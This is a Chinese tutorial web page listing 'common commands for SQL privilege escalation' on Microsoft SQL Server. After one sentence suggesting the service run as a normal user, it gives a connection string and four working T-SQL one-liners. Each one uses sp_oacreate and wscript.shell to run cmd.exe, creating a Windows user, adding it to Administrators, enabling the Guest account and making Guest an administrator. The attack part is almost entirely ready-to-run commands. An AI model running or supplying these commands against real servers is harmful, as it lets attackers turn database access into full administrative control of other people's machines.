繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL 提权 常用命令
- MSSQL
- SQL Server中选出指定范围行的SQL语句写法
- Microsoft SQL Server 2000安装问题集锦
- 修改SQL Server 2005 sa用户密码的方法
- SQL Server数据库查询优化的常用方法总结
- 两种与SQL Server数据库交换数据的方法
- Sun正式发布MySQL 5.1版 简化数据库应用
- 使用SQL Server 2008中对象相关性
- SQL注入防御：用三种策略应对SQL注入攻击
- SQL Server 2005 SP3正式版
- MySQL数据库中使用GRANT语句增添新用户
- 讲解数据库加密技术的功能特性与实现方法
- 如何在SQL Server数据库中加密数据
- 30步检查SQL Server安全列表
- 在SQL Server数据库开发中的十大问题
- 向外扩展SQL Server 实现更高扩展性
- SQL Server 2005 五个动态管理对象
- 从算法入手讲解SQL Server的典型示例
- 如何解决SQLServer占内存过多的问题
- SQL指令植入式攻击的危害及其防范措施
- SQL游标原理和使用方法
MSSQL 中的 SQL 提权 常用命令
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 139 ::
收藏到网摘: n/a
SQL 提权 常用命令，大家可以考虑下将sqlserver的服务运行权限设置为普通用户，即可防止下面的提权。 1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法，可以参考软晨学习网服务器安全设置栏目。
评论 (0) All
